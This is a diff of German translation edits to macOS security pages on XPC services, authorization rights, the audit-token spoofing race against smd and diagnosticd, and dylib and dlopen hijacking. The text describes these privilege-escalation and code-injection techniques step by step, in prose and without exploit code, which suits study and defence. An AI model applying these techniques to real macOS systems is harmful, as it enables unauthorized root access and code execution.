+Die XPC-Komponenten einer Anwendung befinden sich **innerhalb der Anwendung selbst.** Zum Beispiel finden Sie sie in **`/Applications/Safari.app/Contents/XPCServices`**. Sie haben die Erweiterung **`.xpc`** (wie **`com.apple.Safari.SandboxBroker.xpc`**) und sind **auch Bundles** mit der Haupt-Binärdatei darin: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` und eine `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
 
-Wie Sie vielleicht denken, wird eine **XPC-Komponente andere Berechtigungen und Privilegien** haben als die anderen XPC-Komponenten oder die Hauptanwendungs-Binärdatei. AUSGENOMMEN, wenn ein XPC-Dienst mit [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) auf „True“ in seiner **Info.plist**-Datei konfiguriert ist. In diesem Fall wird der XPC-Dienst in der **gleichen Sicherheits-Sitzung wie die Anwendung** ausgeführt, die ihn aufgerufen hat.
+Wie Sie vielleicht denken, wird eine **XPC-Komponente andere Berechtigungen und Privilegien** haben als die anderen XPC-Komponenten oder die Haupt-App-Binärdatei. AUSGENOMMEN, wenn ein XPC-Dienst mit [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) auf „Wahr“ in seiner **Info.plist**-Datei konfiguriert ist. In diesem Fall wird der XPC-Dienst in der **gleichen Sicherheits-Sitzung wie die Anwendung** ausgeführt, die ihn aufgerufen hat.
 
 XPC-Dienste werden von **launchd** gestartet, wenn sie benötigt werden, und **heruntergefahren**, sobald alle Aufgaben **abgeschlossen** sind, um Systemressourcen freizugeben. **Anwendungsspezifische XPC-Komponenten können nur von der Anwendung** genutzt werden, wodurch das Risiko im Zusammenhang mit potenziellen Sicherheitsanfälligkeiten verringert wird.
 
@@ -83,9 +83,9 @@ Daher ist der `xpc_<objectType>_t` eine Art Unterklasse von `xpc_object_t`, die
 Ein **`xpc_pipe`** ist ein FIFO-Rohr, das Prozesse zur Kommunikation verwenden können (die Kommunikation erfolgt über Mach-Nachrichten).\
 Es ist möglich, einen XPC-Server zu erstellen, indem `xpc_pipe_create()` oder `xpc_pipe_create_from_port()` aufgerufen wird, um ihn mit einem bestimmten Mach-Port zu erstellen. Um Nachrichten zu empfangen, ist es möglich, `xpc_pipe_receive` und `xpc_pipe_try_receive` aufzurufen.
 
-Beachten Sie, dass das **`xpc_pipe`**-Objekt ein **`xpc_object_t`** mit Informationen in seiner Struktur über die beiden verwendeten Mach-Ports und den Namen (falls vorhanden) ist. Der Name, zum Beispiel, der Daemon `secinitd` in seiner plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist`, konfiguriert das Rohr mit dem Namen `com.apple.secinitd`.
+Beachten Sie, dass das **`xpc_pipe`**-Objekt ein **`xpc_object_t`** mit Informationen in seiner Struktur über die beiden verwendeten Mach-Ports und den Namen (falls vorhanden) ist. Der Name, zum Beispiel, der Daemon `secinitd` in seiner plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` konfiguriert das Rohr mit dem Namen `com.apple.secinitd`.
 
-Ein Beispiel für ein **`xpc_pipe`** ist das von **`launchd`** erstellte **Bootstrap-Pipe**, das das Teilen von Mach-Ports ermöglicht.
+Ein Beispiel für ein **`xpc_pipe`** ist das **bootstrap pipe**, das von **`launchd`** erstellt wird und das Teilen von Mach-Ports ermöglicht.
 
 - **`NSXPC*`**
 
@@ -94,12 +94,12 @@ Darüber hinaus ist es einfacher, diese Objekte mit DTrace zu debuggen als die v
 
 - **`GCD Queues`**
 
-XPC verwendet GCD, um Nachrichten zu übermitteln, und generiert bestimmte Dispatch-Warteschlangen wie `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`...
+XPC verwendet GCD, um Nachrichten zu übermitteln, außerdem generiert es bestimmte Dispatch-Warteschlangen wie `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`...
 
 ## XPC-Dienste
 
 Dies sind **Bundles mit der Erweiterung `.xpc`**, die sich im **`XPCServices`**-Ordner anderer Projekte befinden und in der `Info.plist` den `CFBundlePackageType` auf **`XPC!`** gesetzt haben.\
-Diese Datei hat andere Konfigurationsschlüssel wie `ServiceType`, die Application, User, System oder `_SandboxProfile` sein können, die einen Sandbox oder `_AllowedClients` definieren können, die Berechtigungen oder IDs angeben könnten, die erforderlich sind, um den Dienst zu kontaktieren. Diese und andere Konfigurationsoptionen sind nützlich, um den Dienst beim Start zu konfigurieren.
+Diese Datei hat andere Konfigurationsschlüssel wie `ServiceType`, der Application, User, System oder `_SandboxProfile` sein kann, das einen Sandbox oder `_AllowedClients` definieren kann, was Berechtigungen oder IDs angeben könnte, die erforderlich sind, um den Dienst zu kontaktieren. Diese und andere Konfigurationsoptionen sind nützlich, um den Dienst beim Start zu konfigurieren.
 
 ### Starten eines Dienstes
 
@@ -118,7 +118,7 @@ Das Dienstprogramm `xpcproxy` verwendet das Präfix `0x22`, zum Beispiel: `0x220
 
 Anwendungen können sich **für verschiedene Ereignis-**nachrichten **anmelden**, sodass sie **auf Abruf** initiiert werden können, wenn solche Ereignisse eintreten. Die **Einrichtung** für diese Dienste erfolgt in **launchd plist-Dateien**, die sich in den **gleichen Verzeichnissen wie die vorherigen** befinden und einen zusätzlichen **`LaunchEvent`**-Schlüssel enthalten.
 
-### XPC-Verbindungsprozessprüfung
+### XPC Verbindungsprozessprüfung
 
 Wenn ein Prozess versucht, eine Methode über eine XPC-Verbindung aufzurufen, sollte der **XPC-Dienst überprüfen, ob dieser Prozess berechtigt ist, sich zu verbinden**. Hier sind die gängigen Methoden zur Überprüfung und die häufigsten Fallstricke:
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md

@@ -230,7 +230,7 @@ return error;
 ```
 Beachten Sie, dass die Funktion `authorizationRightForCommand` nur das zuvor kommentierte Objekt **`commandInfo`** überprüft, um **die Anforderungen zu überprüfen, um das Recht** zu erhalten, diese Methode aufzurufen. Dann wird sie **`AuthorizationCopyRights`** aufrufen, um zu überprüfen, **ob es die Rechte hat**, die Funktion aufzurufen (beachten Sie, dass die Flags die Interaktion mit dem Benutzer erlauben).
 
-In diesem Fall ist `kCommandKeyAuthRightDefault` definiert als `@kAuthorizationRuleClassAllow`, um die Funktion `readLicenseKeyAuthorization` aufzurufen. So **kann es jeder aufrufen**.
+In diesem Fall ist `kCommandKeyAuthRightDefault` auf `@kAuthorizationRuleClassAllow` definiert, um die Funktion `readLicenseKeyAuthorization` aufzurufen. So **kann es jeder aufrufen**.
 
 ### DB-Informationen
 
@@ -244,7 +244,7 @@ Dann können Sie lesen, wer auf das Recht zugreifen kann mit:
 ```bash
 security authorizationdb read com.apple.safaridriver.allow
 ```
-### Permissive Rechte
+### Erlaubte Rechte
 
 Sie können **alle Berechtigungskonfigurationen** [**hier**](https://www.dssw.co.uk/reference/authorization-rights/) finden, aber die Kombinationen, die keine Benutzerinteraktion erfordern, wären:
 
@@ -258,7 +258,7 @@ Sie können **alle Berechtigungskonfigurationen** [**hier**](https://www.dssw.co
 4. **'shared': 'true'**
 - Dieser Schlüssel gewährt keine Rechte ohne Authentifizierung. Stattdessen bedeutet es, wenn er auf `true` gesetzt ist, dass, sobald das Recht authentifiziert wurde, es unter mehreren Prozessen geteilt werden kann, ohne dass jeder einzelne sich erneut authentifizieren muss. Aber die ursprüngliche Gewährung des Rechts würde weiterhin eine Authentifizierung erfordern, es sei denn, sie wird mit anderen Schlüsseln wie `'authenticate-user': 'false'` kombiniert.
 
-Sie können [**dieses Skript verwenden**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9), um die interessanten Rechte zu erhalten:
+Sie können [**dieses Skript**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) verwenden, um die interessanten Rechte zu erhalten:
 ```bash
 Rights with 'authenticate-user': 'false':
 is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@@ -329,7 +329,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
 In diesem Beispiel wird erstellt:
 
 - Die Definition des Protokolls mit den Funktionen
-- Eine leere Authentifizierung, um um Zugriff zu bitten
+- Ein leeres Auth, um um Zugriff zu bitten
 - Eine Verbindung zum XPC-Dienst
 - Ein Aufruf der Funktion, wenn die Verbindung erfolgreich war
 ```objectivec

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md

@@ -26,11 +26,13 @@ Wenn eine Verbindung zu einem XPC-Dienst hergestellt wird, überprüft der Serve
 
 Für weitere Informationen über den PID-Wiederverwendungsangriff siehe:
 
+
 {{#ref}}
 macos-pid-reuse.md
 {{#endref}}
 
-Für weitere Informationen über den **`xpc_connection_get_audit_token`** Angriff siehe:
+Für weitere Informationen über den Angriff auf **`xpc_connection_get_audit_token`** siehe:
+
 
 {{#ref}}
 macos-xpc_connection_get_audit_token-attack.md

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md

@@ -6,19 +6,19 @@
 
 ## Mach-Nachrichten Grundinformationen
 
-Wenn Sie nicht wissen, was Mach-Nachrichten sind, beginnen Sie mit dieser Seite:
+Wenn du nicht weißt, was Mach-Nachrichten sind, beginne mit dieser Seite:
 
 
 {{#ref}}
 ../../
 {{#endref}}
 
-Für den Moment merken Sie sich, dass ([Definition von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
+Für den Moment erinnere dich daran, dass ([Definition von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
-Mach-Nachrichten werden über einen _mach port_ gesendet, der ein **einzelner Empfänger, mehrere Sender Kommunikationskanal** ist, der im Mach-Kernel eingebaut ist. **Mehrere Prozesse können Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt **kann nur ein einzelner Prozess davon lesen**. Genau wie Dateideskriptoren und Sockets werden Mach-Ports vom Kernel zugewiesen und verwaltet, und Prozesse sehen nur eine Ganzzahl, die sie verwenden können, um dem Kernel anzuzeigen, welchen ihrer Mach-Ports sie verwenden möchten.
+Mach-Nachrichten werden über einen _Mach-Port_ gesendet, der ein **einzelner Empfänger, mehrere Sender Kommunikationskanal** ist, der im Mach-Kernel eingebaut ist. **Mehrere Prozesse können Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt **kann nur ein einzelner Prozess davon lesen**. Genau wie Dateideskriptoren und Sockets werden Mach-Ports vom Kernel zugewiesen und verwaltet, und Prozesse sehen nur eine Ganzzahl, die sie verwenden können, um dem Kernel anzuzeigen, welchen ihrer Mach-Ports sie verwenden möchten.
 
 ## XPC-Verbindung
 
-Wenn Sie nicht wissen, wie eine XPC-Verbindung hergestellt wird, überprüfen Sie:
+Wenn du nicht weißt, wie eine XPC-Verbindung hergestellt wird, siehe:
 
 
 {{#ref}}
@@ -27,7 +27,7 @@ Wenn Sie nicht wissen, wie eine XPC-Verbindung hergestellt wird, überprüfen Si
 
 ## Zusammenfassung der Schwachstelle
 
-Was für Sie interessant zu wissen ist, dass **XPCs Abstraktion eine Eins-zu-Eins-Verbindung ist**, aber sie basiert auf einer Technologie, die **mehrere Sender haben kann, also:**
+Was für dich interessant zu wissen ist, dass **XPCs Abstraktion eine Eins-zu-Eins-Verbindung ist**, aber sie basiert auf einer Technologie, die **mehrere Sender haben kann, also:**
 
 - Mach-Ports sind einzelner Empfänger, **mehrere Sender**.
 - Das Audit-Token einer XPC-Verbindung ist das Audit-Token, das **aus der zuletzt empfangenen Nachricht kopiert wurde**.
@@ -41,15 +41,15 @@ Obwohl die vorherige Situation vielversprechend klingt, gibt es einige Szenarien
 Zwei verschiedene Methoden, wie dies ausgenutzt werden könnte:
 
 1. Variante 1:
-- **Exploit** **stellt eine Verbindung** zu Dienst **A** und Dienst **B** her.
+- **Exploits** **verbinden** sich mit Dienst **A** und Dienst **B**
-- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann.
+- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann
 - Dienst **A** ruft **`xpc_connection_get_audit_token`** auf, während er _**nicht**_ innerhalb des **Ereignis-Handlers** für eine Verbindung in einem **`dispatch_async`** ist.
 - So könnte eine **andere** Nachricht das **Audit-Token überschreiben**, da es asynchron außerhalb des Ereignis-Handlers dispatcht wird.
 - Der Exploit übergibt an **Dienst B das SEND-Recht an Dienst A**.
 - So wird Dienst **B** tatsächlich die **Nachrichten** an Dienst **A** **senden**.
 - Der **Exploit** versucht, die **privilegierte Aktion** **aufzurufen**. In einem RC **prüft** Dienst **A** die Autorisierung dieser **Aktion**, während **Dienst B das Audit-Token überschreibt** (was dem Exploit Zugriff auf die privilegierte Aktion gibt).
 2. Variante 2:
-- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann.
+- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann
 - Der Exploit verbindet sich mit **Dienst A**, der dem Exploit eine **Nachricht sendet, die eine Antwort** in einem bestimmten **Antwortport** erwartet.
 - Der Exploit sendet **Dienst** B eine Nachricht, die **diesen Antwortport** übergibt.
 - Wenn Dienst **B antwortet**, **sendet** er die Nachricht an Dienst A, **während** der **Exploit** eine andere **Nachricht an Dienst A** sendet, die versucht, eine **privilegierte Funktionalität** zu erreichen und erwartet, dass die Antwort von Dienst B das Audit-Token im perfekten Moment überschreibt (Race Condition).
@@ -68,12 +68,12 @@ Szenario:
 
 Dies geschah mit **`A`** als `smd` und **`B`** als `diagnosticd`. Die Funktion [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) von smb kann verwendet werden, um ein neues privilegiertes Hilfsprogramm (als **root**) zu installieren. Wenn ein **Prozess, der als root läuft,** **smd** kontaktiert, werden keine weiteren Prüfungen durchgeführt.
 
-Daher ist der Dienst **B** **`diagnosticd`**, da er als **root** läuft und verwendet werden kann, um einen Prozess zu **überwachen**, sodass, sobald die Überwachung begonnen hat, er **mehrere Nachrichten pro Sekunde senden wird.**
+Daher ist der Dienst **B** **`diagnosticd`**, da er als **root** läuft und verwendet werden kann, um einen Prozess zu **überwachen**, sodass, sobald die Überwachung begonnen hat, er **mehrere Nachrichten pro Sekunde sendet.**
 
 Um den Angriff durchzuführen:
 
-1. Stellen Sie eine **Verbindung** zum Dienst mit dem Namen `smd` unter Verwendung des Standard-XPC-Protokolls her.
+1. Stelle eine **Verbindung** zum Dienst mit dem Namen `smd` unter Verwendung des Standard-XPC-Protokolls her.
-2. Bilden Sie eine sekundäre **Verbindung** zu `diagnosticd`. Im Gegensatz zum normalen Verfahren wird anstelle der Erstellung und des Sendens von zwei neuen Mach-Ports das Senderecht des Client-Ports durch eine Duplikation des **Senderechts** ersetzt, das mit der `smd`-Verbindung verbunden ist.
+2. Stelle eine sekundäre **Verbindung** zu `diagnosticd` her. Im Gegensatz zum normalen Verfahren wird anstelle der Erstellung und des Sendens von zwei neuen Mach-Ports das Senderecht des Client-Ports durch eine Kopie des **Senderechts** ersetzt, das mit der `smd`-Verbindung verbunden ist.
 3. Infolgedessen können XPC-Nachrichten an `diagnosticd` gesendet werden, aber Antworten von `diagnosticd` werden an `smd` umgeleitet. Für `smd` scheint es, als ob die Nachrichten sowohl vom Benutzer als auch von `diagnosticd` aus derselben Verbindung stammen.
 
 ![Bild, das den Exploit-Prozess darstellt](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
@@ -83,10 +83,10 @@ Um den Angriff durchzuführen:
 
 ## Variante 2: Antwortweiterleitung
 
-In einer XPC (Interprozesskommunikation) Umgebung, obwohl Ereignis-Handler nicht gleichzeitig ausgeführt werden, hat die Behandlung von Antwortnachrichten ein einzigartiges Verhalten. Insbesondere gibt es zwei verschiedene Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
+In einer XPC (Inter-Prozess-Kommunikation) Umgebung, obwohl Ereignis-Handler nicht gleichzeitig ausgeführt werden, hat die Behandlung von Antwortnachrichten ein einzigartiges Verhalten. Insbesondere gibt es zwei verschiedene Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
 
 1. **`xpc_connection_send_message_with_reply`**: Hier wird die XPC-Nachricht empfangen und auf einer bestimmten Warteschlange verarbeitet.
-2. **`xpc_connection_send_message_with_reply_sync`**: Im Gegensatz dazu wird bei dieser Methode die XPC-Nachricht empfangen und auf der aktuellen Dispatch-Warteschlange verarbeitet.
+2. **`xpc_connection_send_message_with_reply_sync`**: Im Gegensatz dazu wird bei dieser Methode die XPC-Nachricht auf der aktuellen Dispatch-Warteschlange empfangen und verarbeitet.
 
 Diese Unterscheidung ist entscheidend, da sie die Möglichkeit eröffnet, dass **Antwortpakete gleichzeitig mit der Ausführung eines XPC-Ereignis-Handlers analysiert werden**. Bemerkenswerterweise implementiert `_xpc_connection_set_creds` zwar eine Sperre, um gegen die teilweise Überschreibung des Audit-Tokens zu schützen, jedoch erstreckt sich dieser Schutz nicht auf das gesamte Verbindungsobjekt. Folglich entsteht eine Verwundbarkeit, bei der das Audit-Token während des Zeitraums zwischen der Analyse eines Pakets und der Ausführung seines Ereignis-Handlers ersetzt werden kann.
 
@@ -99,7 +99,7 @@ Um diese Verwundbarkeit auszunutzen, ist die folgende Einrichtung erforderlich:
 
 Der Ausbeutungsprozess umfasst die folgenden Schritte:
 
-1. Warten Sie, bis Dienst **`A`** eine Nachricht sendet, die eine Antwort erwartet.
+1. Warte darauf, dass Dienst **`A`** eine Nachricht sendet, die eine Antwort erwartet.
 2. Anstatt direkt an **`A`** zu antworten, wird der Antwortport entführt und verwendet, um eine Nachricht an Dienst **`B`** zu senden.
 3. Anschließend wird eine Nachricht mit der verbotenen Aktion gesendet, in der Erwartung, dass sie gleichzeitig mit der Antwort von **`B`** verarbeitet wird.
 
@@ -116,12 +116,12 @@ Unten ist eine visuelle Darstellung des beschriebenen Angriffszenarios:
 - **Analysetools**: Tools wie IDA/Ghidra wurden verwendet, um erreichbare Mach-Dienste zu untersuchen, aber der Prozess war zeitaufwendig und kompliziert durch Aufrufe, die den dyld Shared Cache betreffen.
 - **Scripting-Einschränkungen**: Versuche, die Analyse für Aufrufe von `xpc_connection_get_audit_token` aus `dispatch_async`-Blöcken zu skripten, wurden durch Komplexitäten beim Parsen von Blöcken und Interaktionen mit dem dyld Shared Cache behindert.
 
-## Die Lösung <a href="#the-fix" id="the-fix"></a>
+## Der Fix <a href="#the-fix" id="the-fix"></a>
 
 - **Gemeldete Probleme**: Ein Bericht wurde an Apple eingereicht, der die allgemeinen und spezifischen Probleme innerhalb von `smd` detailliert.
 - **Apples Antwort**: Apple hat das Problem in `smd` behoben, indem es `xpc_connection_get_audit_token` durch `xpc_dictionary_get_audit_token` ersetzt hat.
-- **Art der Lösung**: Die Funktion `xpc_dictionary_get_audit_token` gilt als sicher, da sie das Audit-Token direkt aus der Mach-Nachricht abruft, die mit der empfangenen XPC-Nachricht verbunden ist. Sie ist jedoch nicht Teil der öffentlichen API, ähnlich wie `xpc_connection_get_audit_token`.
+- **Art des Fixes**: Die Funktion `xpc_dictionary_get_audit_token` gilt als sicher, da sie das Audit-Token direkt aus der Mach-Nachricht abruft, die mit der empfangenen XPC-Nachricht verbunden ist. Sie ist jedoch nicht Teil der öffentlichen API, ähnlich wie `xpc_connection_get_audit_token`.
-- **Fehlen einer umfassenderen Lösung**: Es bleibt unklar, warum Apple keine umfassendere Lösung implementiert hat, wie das Verwerfen von Nachrichten, die nicht mit dem gespeicherten Audit-Token der Verbindung übereinstimmen. Die Möglichkeit legitimer Änderungen des Audit-Tokens in bestimmten Szenarien (z. B. Verwendung von `setuid`) könnte ein Faktor sein.
+- **Fehlen eines umfassenderen Fixes**: Es bleibt unklar, warum Apple keinen umfassenderen Fix implementiert hat, wie das Verwerfen von Nachrichten, die nicht mit dem gespeicherten Audit-Token der Verbindung übereinstimmen. Die Möglichkeit legitimer Änderungen des Audit-Tokens in bestimmten Szenarien (z. B. Verwendung von `setuid`) könnte ein Faktor sein.
 - **Aktueller Status**: Das Problem besteht weiterhin in iOS 17 und macOS 14 und stellt eine Herausforderung für diejenigen dar, die versuchen, es zu identifizieren und zu verstehen.
 
 {{#include ../../../../../../banners/hacktricks-training.md}}

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md

@@ -28,10 +28,10 @@ Diese Technik kann auch **als ASEP-Technik verwendet werden**, da jede installie
 >
 > - Das Binary ist `setuid/setgid`
 > - Existenz des `__RESTRICT/__restrict` Abschnitts im Macho-Binary.
-> - Die Software hat Berechtigungen (hardened runtime) ohne die Berechtigung [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
+> - Die Software hat Berechtigungen (hardened runtime) ohne [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) Berechtigung
 >  - Überprüfen Sie die **Berechtigungen** eines Binaries mit: `codesign -dv --entitlements :- </path/to/bin>`
 >
-> In neueren Versionen finden Sie diese Logik im zweiten Teil der Funktion **`configureProcessRestrictions`**. Was in neueren Versionen ausgeführt wird, sind die **Anfangsprüfungen der Funktion** (Sie können die ifs, die sich auf iOS oder Simulation beziehen, entfernen, da diese in macOS nicht verwendet werden).
+> In neueren Versionen finden Sie diese Logik im zweiten Teil der Funktion **`configureProcessRestrictions`**. Was in neueren Versionen jedoch ausgeführt wird, sind die **Anfangsprüfungen der Funktion** (Sie können die ifs, die sich auf iOS oder Simulation beziehen, entfernen, da diese in macOS nicht verwendet werden).
 
 ### Bibliotheksvalidierung
 
@@ -57,10 +57,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
 ## Dylib-Hijacking
 
 > [!CAUTION]
-> Denken Sie daran, dass **frühere Einschränkungen der Bibliotheksvalidierung ebenfalls gelten**, um Dylib-Hijacking-Angriffe durchzuführen.
+> Denken Sie daran, dass **frühere Bibliotheksvalidierungseinschränkungen ebenfalls gelten**, um Dylib-Hijacking-Angriffe durchzuführen.
 
-Wie in Windows können Sie auch in macOS **dylibs hijacken**, um **Anwendungen** **beliebigen** **Code** **auszuführen** (nun, tatsächlich könnte dies von einem regulären Benutzer nicht möglich sein, da Sie möglicherweise eine TCC-Berechtigung benötigen, um in ein `.app`-Bundle zu schreiben und eine Bibliothek zu hijacken).\
+Wie in Windows können Sie auch in macOS **Dylibs hijacken**, um **Anwendungen** **beliebigen** **Code** auszuführen (nun, tatsächlich könnte dies von einem regulären Benutzer nicht möglich sein, da Sie möglicherweise eine TCC-Berechtigung benötigen, um in ein `.app`-Bundle zu schreiben und eine Bibliothek zu hijacken).\
-Allerdings ist die Art und Weise, wie **macOS**-Anwendungen **Bibliotheken laden**, **stärker eingeschränkt** als in Windows. Dies impliziert, dass **Malware**-Entwickler diese Technik weiterhin für **Stealth** verwenden können, aber die Wahrscheinlichkeit, dass sie dies zur Eskalation von Berechtigungen missbrauchen können, ist viel geringer.
+Allerdings ist die Art und Weise, wie **macOS**-Anwendungen **Bibliotheken** laden, **stärker eingeschränkt** als in Windows. Dies bedeutet, dass **Malware**-Entwickler diese Technik weiterhin für **Stealth** verwenden können, aber die Wahrscheinlichkeit, dass sie dies zur Eskalation von Berechtigungen missbrauchen können, ist viel geringer.
 
 Zunächst ist es **häufiger**, dass **macOS-Binaries den vollständigen Pfad** zu den zu ladenden Bibliotheken angeben. Und zweitens, **macOS sucht niemals** in den Ordnern des **$PATH** nach Bibliotheken.
 
@@ -68,15 +68,15 @@ Der **Hauptteil** des **Codes**, der mit dieser Funktionalität zusammenhängt,
 
 Es gibt **4 verschiedene Header-Befehle**, die ein Macho-Binary verwenden kann, um Bibliotheken zu laden:
 
-- Der **`LC_LOAD_DYLIB`** Befehl ist der gängige Befehl zum Laden einer dylib.
+- Der **`LC_LOAD_DYLIB`** Befehl ist der gängige Befehl zum Laden einer Dylib.
-- Der **`LC_LOAD_WEAK_DYLIB`** Befehl funktioniert wie der vorherige, aber wenn die dylib nicht gefunden wird, wird die Ausführung ohne Fehler fortgesetzt.
+- Der **`LC_LOAD_WEAK_DYLIB`** Befehl funktioniert wie der vorherige, aber wenn die Dylib nicht gefunden wird, wird die Ausführung ohne Fehler fortgesetzt.
 - Der **`LC_REEXPORT_DYLIB`** Befehl proxy (oder re-exportiert) die Symbole von einer anderen Bibliothek.
 - Der **`LC_LOAD_UPWARD_DYLIB`** Befehl wird verwendet, wenn zwei Bibliotheken voneinander abhängen (dies wird als _aufwärts gerichtete Abhängigkeit_ bezeichnet).
 
 Es gibt jedoch **2 Arten von Dylib-Hijacking**:
 
-- **Fehlende schwach verlinkte Bibliotheken**: Das bedeutet, dass die Anwendung versuchen wird, eine Bibliothek zu laden, die nicht existiert, konfiguriert mit **LC_LOAD_WEAK_DYLIB**. Dann, **wenn ein Angreifer eine dylib an dem Ort platziert, an dem sie erwartet wird, wird sie geladen**.
+- **Fehlende schwach verlinkte Bibliotheken**: Das bedeutet, dass die Anwendung versuchen wird, eine Bibliothek zu laden, die nicht existiert, konfiguriert mit **LC_LOAD_WEAK_DYLIB**. Dann, **wenn ein Angreifer eine Dylib an dem Ort platziert, an dem sie erwartet wird, wird sie geladen**.
-- Die Tatsache, dass der Link "schwach" ist, bedeutet, dass die Anwendung weiterhin ausgeführt wird, auch wenn die Bibliothek nicht gefunden wird.
+- Die Tatsache, dass der Link "schwach" ist, bedeutet, dass die Anwendung weiterhin läuft, auch wenn die Bibliothek nicht gefunden wird.
 - Der **Code, der damit zusammenhängt**, befindet sich in der Funktion `ImageLoaderMachO::doGetDependentLibraries` von `ImageLoaderMachO.cpp`, wo `lib->required` nur `false` ist, wenn `LC_LOAD_WEAK_DYLIB` wahr ist.
 - **Finden Sie schwach verlinkte Bibliotheken** in Binaries mit (Sie haben später ein Beispiel, wie man Hijacking-Bibliotheken erstellt):
 - ```bash
@@ -98,13 +98,13 @@ compatibility version 1.0.0
 > **`@loader_path`**: Ist der **Pfad** zum **Verzeichnis**, das die **Mach-O-Binary** enthält, die den Ladebefehl enthält.
 >
 > - Wenn in einem ausführbaren Programm verwendet, ist **`@loader_path`** effektiv dasselbe wie **`@executable_path`**.
-> - Wenn in einer **dylib** verwendet, gibt **`@loader_path`** den **Pfad** zur **dylib** an.
+> - Wenn in einer **Dylib** verwendet, gibt **`@loader_path`** den **Pfad** zur **Dylib** an.
 
 Die Möglichkeit, **Berechtigungen zu eskalieren**, indem man diese Funktionalität missbraucht, wäre im seltenen Fall, dass eine **Anwendung**, die **von** **root** ausgeführt wird, nach einer **Bibliothek in einem Ordner sucht, in dem der Angreifer Schreibberechtigungen hat.**
 
 > [!TIP]
-> Ein schöner **Scanner**, um **fehlende Bibliotheken** in Anwendungen zu finden, ist der [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) oder eine [**CLI-Version**](https://github.com/pandazheng/DylibHijack).\
+> Ein schöner **Scanner**, um **fehlende Bibliotheken** in Anwendungen zu finden, ist [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) oder eine [**CLI-Version**](https://github.com/pandazheng/DylibHijack).\
-> Ein schöner **Bericht mit technischen Details** zu dieser Technik finden Sie [**hier**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x).
+> Ein schöner **Bericht mit technischen Details** zu dieser Technik kann [**hier**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) gefunden werden.
 
 **Beispiel**
 
@@ -115,11 +115,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
 ## Dlopen-Hijacking
 
 > [!CAUTION]
-> Denken Sie daran, dass **frühere Einschränkungen der Bibliotheksvalidierung ebenfalls gelten**, um Dlopen-Hijacking-Angriffe durchzuführen.
+> Denken Sie daran, dass **frühere Bibliotheksvalidierungseinschränkungen ebenfalls gelten**, um Dlopen-Hijacking-Angriffe durchzuführen.
 
 Aus **`man dlopen`**:
 
-- Wenn der Pfad **kein Schrägstrich-Zeichen enthält** (d.h. es ist nur ein Blattname), wird **dlopen() eine Suche durchführen**. Wenn **`$DYLD_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld zuerst **in diesem Verzeichnis suchen**. Als nächstes, wenn die aufrufende Mach-O-Datei oder die Hauptausführungsdatei ein **`LC_RPATH`** angibt, wird dyld **in diesen** Verzeichnissen suchen. Als nächstes, wenn der Prozess **uneingeschränkt** ist, wird dyld im **aktuellen Arbeitsverzeichnis** suchen. Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in **diesen Verzeichnissen** suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist) und dann in **`/usr/lib/`** (diese Informationen stammen aus **`man dlopen`**).
